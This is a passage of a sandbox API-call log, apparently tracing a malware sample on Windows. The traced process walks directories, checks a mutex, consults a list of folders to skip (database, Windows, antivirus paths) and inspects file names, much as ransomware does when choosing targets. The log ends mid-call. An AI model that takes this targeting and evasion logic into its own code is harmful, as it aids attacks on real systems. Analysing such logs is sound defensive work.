GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0279.331] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0279.331] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.331] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0279.331] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0279.331] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0279.331] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.331] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0279.331] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.332] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\*.*", lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0x6da1d0 [0279.332] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e83c | out: lpLocalFileTime=0x19e83c) returned 1 [0279.332] FileTimeToDosDateTime (in: lpFileTime=0x19e83c, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0279.332] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0279.332] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0279.332] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.332] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0279.332] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0279.332] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0279.332] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.332] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0279.332] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.332] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0279.332] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0279.332] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0279.332] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0279.333] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0279.333] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0279.333] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.333] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0279.333] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0279.333] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0279.333] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.333] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0279.333] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.333] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0279.333] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0279.333] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0279.333] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0279.333] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0279.333] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0279.333] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.333] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0279.334] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0279.334] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0279.334] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.334] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0279.334] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.334] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0279.334] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0279.334] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0279.334] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0279.334] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0279.334] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0279.334] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.334] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0279.334] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0279.334] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0279.334] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.334] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0279.334] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.335] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0279.335] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0279.335] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0279.335] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0279.335] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0279.335] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0279.335] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.335] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0279.335] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0279.335] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0279.335] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.335] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0279.335] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.335] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0279.335] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0279.335] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0279.335] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0279.335] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0279.336] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0279.336] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.336] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0279.336] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0279.336] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0279.336] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.336] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0279.336] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.338] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0279.338] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0 [0279.338] GetLastError () returned 0x12 [0279.339] FindClose (in: hFindFile=0x6da1d0 | out: hFindFile=0x6da1d0) returned 1 [0279.339] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0279.339] FileTimeToLocalFileTime (in: lpFileTime=0x19ec6c, lpLocalFileTime=0x19eb78 | out: lpLocalFileTime=0x19eb78) returned 1 [0279.339] FileTimeToDosDateTime (in: lpFileTime=0x19eb78, lpFatDate=0x19ec3a, lpFatTime=0x19ec38 | out: lpFatDate=0x19ec3a, lpFatTime=0x19ec38) returned 1 [0279.339] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0279.339] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0279.339] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.339] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0279.339] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0279.339] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0279.339] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.339] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0279.339] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.339] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0279.339] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0279.340] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0279.340] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.340] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0279.340] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0279.340] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0279.340] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.340] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0279.340] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.340] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0279.340] SysReAllocStringLen (in: pbstr=0x19eb78*=0x0, psz="C:\\588bce7c90097ed212\\1038", len=0x1a | out: pbstr=0x19eb78*="C:\\588bce7c90097ed212\\1038") returned 1 [0279.340] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0279.340] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0279.340] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.340] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0279.340] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0279.340] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0279.340] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.341] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0279.341] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.341] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\Microsoft\\Exchange Server", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0279.341] GetLastError () returned 0x3 [0279.341] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1038\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1038\\") returned 0x1b [0279.341] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f1ce80, cbMultiByte=26, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0279.341] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\Microsoft SQL Server", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0279.341] GetLastError () returned 0x2 [0279.341] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1038\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1038\\") returned 0x1b [0279.342] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f1ce80, cbMultiByte=21, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\疼\x16") returned 21 [0279.342] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\Firebird", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0279.342] GetLastError () returned 0x2 [0279.342] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1038\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1038\\") returned 0x1b [0279.342] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39c18, cbMultiByte=9, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0279.342] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\MSSQL.1", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0279.342] GetLastError () returned 0x2 [0279.342] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1038\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1038\\") returned 0x1b [0279.342] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39c18, cbMultiByte=8, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0279.342] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\Microsoft SQL Server Compact Edition", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0279.343] GetLastError () returned 0x2 [0279.343] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1038\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1038\\") returned 0x1b [0279.343] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3ec01c8, cbMultiByte=37, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 37 [0279.343] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\Adobe", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0279.343] GetLastError () returned 0x2 [0279.343] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1038\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1038\\") returned 0x1b [0279.343] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39c18, cbMultiByte=6, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="adobe\\") returned 6 [0279.343] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\Oracle", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0279.343] GetLastError () returned 0x2 [0279.343] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1038\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1038\\") returned 0x1b [0279.343] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39c18, cbMultiByte=7, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="oracle\\") returned 7 [0279.344] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0279.344] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0279.344] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.344] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0279.344] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0279.344] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0279.344] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.344] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0279.344] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.344] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1038\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1038\\") returned 0x1b [0279.344] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0279.344] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aa28, cbMultiByte=15, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr) returned 15 [0279.344] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1038\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1038\\") returned 0x1b [0279.344] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x1f [0279.344] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f130f8, cbMultiByte=32, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\fd1hvy\\appdata\\roaming\\䵾@矴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 32 [0279.344] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1038\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1038\\") returned 0x1b [0279.344] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0279.344] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aaa8, cbMultiByte=15, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\\\appdata\\roaming\\䵾@矴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 15 [0279.345] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1038\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1038\\") returned 0x1b [0279.345] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\WINDOWS") returned 0xa [0279.345] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39c30, cbMultiByte=11, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\\\appdata\\roaming\\䵾@矴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 11 [0279.345] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0279.345] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0279.345] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.345] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0279.345] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0279.345] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0279.345] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.345] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0279.345] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.345] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1038\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1038\\") returned 0x1b [0279.345] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aaa8, cbMultiByte=15, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\data\\roaming\\䵾@矴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 15 [0279.345] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1038\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1038\\") returned 0x1b [0279.345] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39c18, cbMultiByte=11, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\data\\roaming\\䵾@矴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 11 [0279.346] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1038\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1038\\") returned 0x1b [0279.346] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39c18, cbMultiByte=9, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\data\\roaming\\䵾@矴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 9 [0279.346] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1038\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1038\\") returned 0x1b [0279.346] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aaa8, cbMultiByte=18, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\application data\\a\\roaming\\䵾@矴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 18 [0279.346] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1038\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1038\\") returned 0x1b [0279.346] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f130f8, cbMultiByte=28, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\䵾@矴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 28 [0279.346] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1038\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1038\\") returned 0x1b [0279.346] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39c18, cbMultiByte=10, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\䵾@矴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 10 [0279.346] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1038\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1038\\") returned 0x1b [0279.346] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39c18, cbMultiByte=8, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\䵾@矴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 8 [0279.346] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1038\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1038\\") returned 0x1b [0279.346] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39c18, cbMultiByte=9, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\䵾@矴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 9 [0279.346] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1038\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1038\\") returned 0x1b [0279.346] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aaa8, cbMultiByte=13, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\䵾@矴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 13 [0279.346] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1038\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1038\\") returned 0x1b [0279.346] SHGetMalloc (in: ppMalloc=0x19e840 | out: ppMalloc=0x19e840*=0x75e4d000) returned 0x0 [0279.347] SHGetSpecialFolderLocation (in: hwnd=0x0, csidl=0, ppidl=0x19e83c | out: ppidl=0x19e83c) returned 0x0 [0279.347] SHGetPathFromIDListW (in: pidl=0x6e4678, pszPath=0x3add5d4 | out: pszPath="C:\\Users\\FD1HVy\\Desktop") returned 1 [0279.347] SysReAllocStringLen (in: pbstr=0x19e8c4*=0x0, psz="C:\\Users\\FD1HVy\\Desktop", len=0x17 | out: pbstr=0x19e8c4*="C:\\Users\\FD1HVy\\Desktop") returned 1 [0279.347] IMalloc:Free (This=0x75e4d000, pv=0x6e4678) [0279.347] IUnknown:AddRef (This=0x75e4d000) returned 0x1 [0279.347] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop", cchLength=0x17 | out: lpsz="c:\\users\\fd1hvy\\desktop") returned 0x17 [0279.347] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0279.347] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0279.347] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.347] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0279.347] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0279.347] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0279.347] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.348] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0279.348] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.348] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\*.*", lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0x6da1d0 [0279.348] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0279.348] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0279.348] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e83c | out: lpLocalFileTime=0x19e83c) returned 1 [0279.348] FileTimeToDosDateTime (in: lpFileTime=0x19e83c, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0279.348] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0279.348] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0279.348] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.348] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0279.348] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0279.348] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0279.348] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.348] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0279.348] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.349] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0279.349] CharLowerBuffW (in: lpsz="eula.rtf", cchLength=0x8 | out: lpsz="eula.rtf") returned 0x8 [0279.349] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.349] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.349] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.349] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".è\x19", lpUsedDefaultChar=0x0) returned 1 [0279.349] WideCharToMultiByte (in: CodePage=0x4e4, 